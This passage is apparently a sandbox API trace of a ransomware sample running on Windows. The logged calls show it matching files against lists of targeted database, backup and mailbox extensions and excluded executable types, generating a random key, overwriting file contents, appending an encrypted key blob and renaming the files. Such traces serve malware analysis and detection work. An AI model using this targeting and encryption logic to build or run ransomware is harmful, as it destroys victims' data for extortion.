	[0083.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".myd") returned 0x0
	[0083.866] lstrlenW (lpString=".DTXS") returned 5
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".DTXS") returned 0x0
	[0083.867] lstrlenW (lpString=".ckp") returned 4
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".ckp") returned 0x0
	[0083.867] lstrlenW (lpString=".dbt") returned 4
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".dbt") returned 0x0
	[0083.867] lstrlenW (lpString=".db") returned 3
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".db") returned 0x0
	[0083.867] lstrlenW (lpString=".TXT") returned 4
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".TXT") returned 0x0
	[0083.867] lstrlenW (lpString=".MDF") returned 4
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".MDF") returned 0x0
	[0083.867] lstrlenW (lpString=".bdb") returned 4
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".bdb") returned 0x0
	[0083.867] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.867] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.868] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.868] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.868] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20385861170) returned 1
	[0083.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bd23a30, dwHighDateTime=0x1d60e1e)) 
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9340
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9340 | out: hHeap=0x300000) returned 1
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaf88
	[0083.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaf88 | out: hHeap=0x300000) returned 1
	[0083.869] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.869] GetLastError () returned 0x0
	[0083.870] GetLastError () returned 0x0
	[0083.870] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.870] GetLastError () returned 0x0
	[0083.870] GetLastError () returned 0x0
	[0083.873] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff45bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.873] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xba44, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0xba44, lpOverlapped=0x0) returned 1
	[0083.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.873] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.873] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.874] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.874] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.874] CloseHandle (hObject=0x11c) returned 1
	[0083.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.874] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.~~~~")) returned 1
	[0083.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.875] GetLastError () returned 0x0
	[0083.875] RtlWakeConditionVariable () returned 0x365f70
	[0083.875] GetCurrentThreadId () returned 0xaf0
	[0083.875] GetCurrentThreadId () returned 0xaf0
	[0083.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab4c8 | out: hHeap=0x300000) returned 1
	[0083.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a92d0 | out: hHeap=0x300000) returned 1
	[0083.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab4c8
	[0083.875] lstrlenW (lpString=".scr") returned 4
	[0083.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".scr") returned 0x0
	[0083.876] lstrlenW (lpString=".cmd") returned 4
	[0083.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".cmd") returned 0x0
	[0083.876] lstrlenW (lpString=".dll") returned 4
	[0083.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dll") returned 0x0
	[0083.876] lstrlenW (lpString=".bat") returned 4
	[0083.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".bat") returned 0x0
	[0083.876] lstrlenW (lpString=".cpl") returned 4
	[0083.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".cpl") returned 0x0
	[0083.876] lstrlenW (lpString=".sys") returned 4
	[0083.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".sys") returned 0x0
	[0083.876] lstrlenW (lpString=".msc") returned 4
	[0083.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".msc") returned 0x0
	[0083.876] lstrlenW (lpString=".com") returned 4
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".com") returned 0x0
	[0083.877] lstrlenW (lpString=".lnk") returned 4
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".lnk") returned 0x0
	[0083.877] lstrlenW (lpString=".msp") returned 4
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".msp") returned 0x0
	[0083.877] lstrlenW (lpString=".pif") returned 4
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".pif") returned 0x0
	[0083.877] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.877] lstrlenW (lpString=".sqb") returned 4
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".sqb") returned 0x0
	[0083.877] lstrlenW (lpString=".ost") returned 4
	[0083.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".ost") returned 0x0
	[0083.877] lstrlenW (lpString=".txt") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".txt") returned 0x0
	[0083.878] lstrlenW (lpString=".mdt") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".mdt") returned 0x0
	[0083.878] lstrlenW (lpString=".BDB") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".BDB") returned 0x0
	[0083.878] lstrlenW (lpString=".eql") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".eql") returned 0x0
	[0083.878] lstrlenW (lpString=".DBF") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DBF") returned 0x0
	[0083.878] lstrlenW (lpString=".EQL") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".EQL") returned 0x0
	[0083.878] lstrlenW (lpString=".FDB") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".FDB") returned 0x0
	[0083.878] lstrlenW (lpString=".EDB") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".EDB") returned 0x0
	[0083.878] lstrlenW (lpString=".DACPAC") returned 7
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DACPAC") returned 0x0
	[0083.878] lstrlenW (lpString=".VHD") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".VHD") returned 0x0
	[0083.878] lstrlenW (lpString=".DBV") returned 4
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DBV") returned 0x0
	[0083.878] lstrlenW (lpString=".dacpac") returned 7
	[0083.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dacpac") returned 0x0
	[0083.879] lstrlenW (lpString=".sdf") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".sdf") returned 0x0
	[0083.879] lstrlenW (lpString=".accdb") returned 6
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".accdb") returned 0x0
	[0083.879] lstrlenW (lpString=".DBX") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DBX") returned 0x0
	[0083.879] lstrlenW (lpString=".MDT") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".MDT") returned 0x0
	[0083.879] lstrlenW (lpString=".SQB") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".SQB") returned 0x0
	[0083.879] lstrlenW (lpString=".vhd") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".vhd") returned 0x0
	[0083.879] lstrlenW (lpString=".bac") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".bac") returned 0x0
	[0083.879] lstrlenW (lpString=".mdf") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".mdf") returned 0x0
	[0083.879] lstrlenW (lpString=".BAK") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".BAK") returned 0x0
	[0083.879] lstrlenW (lpString=".BAC") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".BAC") returned 0x0
	[0083.879] lstrlenW (lpString=".dbs") returned 4
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dbs") returned 0x0
	[0083.879] lstrlenW (lpString=".vhdx") returned 5
	[0083.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".vhdx") returned 0x0
	[0083.880] lstrlenW (lpString=".NDF") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".NDF") returned 0x0
	[0083.880] lstrlenW (lpString=".dat") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dat") returned 0x0
	[0083.880] lstrlenW (lpString=".DBS") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DBS") returned 0x0
	[0083.880] lstrlenW (lpString=".CKP") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".CKP") returned 0x0
	[0083.880] lstrlenW (lpString=".edb") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".edb") returned 0x0
	[0083.880] lstrlenW (lpString=".PST") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".PST") returned 0x0
	[0083.880] lstrlenW (lpString=".dbf") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dbf") returned 0x0
	[0083.880] lstrlenW (lpString=".SQL") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".SQL") returned 0x0
	[0083.880] lstrlenW (lpString=".pst") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".pst") returned 0x0
	[0083.880] lstrlenW (lpString=".dbv") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dbv") returned 0x0
	[0083.880] lstrlenW (lpString=".SDF") returned 4
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".SDF") returned 0x0
	[0083.880] lstrlenW (lpString=".dtxs") returned 5
	[0083.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dtxs") returned 0x0
	[0083.880] lstrlenW (lpString=".db3") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".db3") returned 0x0
	[0083.881] lstrlenW (lpString=".OST") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".OST") returned 0x0
	[0083.881] lstrlenW (lpString=".dbx") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dbx") returned 0x0
	[0083.881] lstrlenW (lpString=".DB3") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DB3") returned 0x0
	[0083.881] lstrlenW (lpString=".DAT") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DAT") returned 0x0
	[0083.881] lstrlenW (lpString=".VHDX") returned 5
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".VHDX") returned 0x0
	[0083.881] lstrlenW (lpString=".ndf") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".ndf") returned 0x0
	[0083.881] lstrlenW (lpString=".DB") returned 3
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DB") returned 0x0
	[0083.881] lstrlenW (lpString=".sql") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".sql") returned 0x0
	[0083.881] lstrlenW (lpString=".MYD") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".MYD") returned 0x0
	[0083.881] lstrlenW (lpString=".DBT") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DBT") returned 0x0
	[0083.881] lstrlenW (lpString=".ACCDB") returned 6
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".ACCDB") returned 0x0
	[0083.881] lstrlenW (lpString=".fdb") returned 4
	[0083.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".fdb") returned 0x0
	[0083.882] lstrlenW (lpString=".bak") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".bak") returned 0x0
	[0083.882] lstrlenW (lpString=".myd") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".myd") returned 0x0
	[0083.882] lstrlenW (lpString=".DTXS") returned 5
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".DTXS") returned 0x0
	[0083.882] lstrlenW (lpString=".ckp") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".ckp") returned 0x0
	[0083.882] lstrlenW (lpString=".dbt") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".dbt") returned 0x0
	[0083.882] lstrlenW (lpString=".db") returned 3
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".db") returned 0x0
	[0083.882] lstrlenW (lpString=".TXT") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".TXT") returned 0x0
	[0083.882] lstrlenW (lpString=".MDF") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".MDF") returned 0x0
	[0083.882] lstrlenW (lpString=".bdb") returned 4
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".bdb") returned 0x0
	[0083.882] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.882] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.884] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.884] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20387395065) returned 1
	[0083.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bd49b90, dwHighDateTime=0x1d60e1e)) 
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a92d0
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a92d0 | out: hHeap=0x300000) returned 1
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
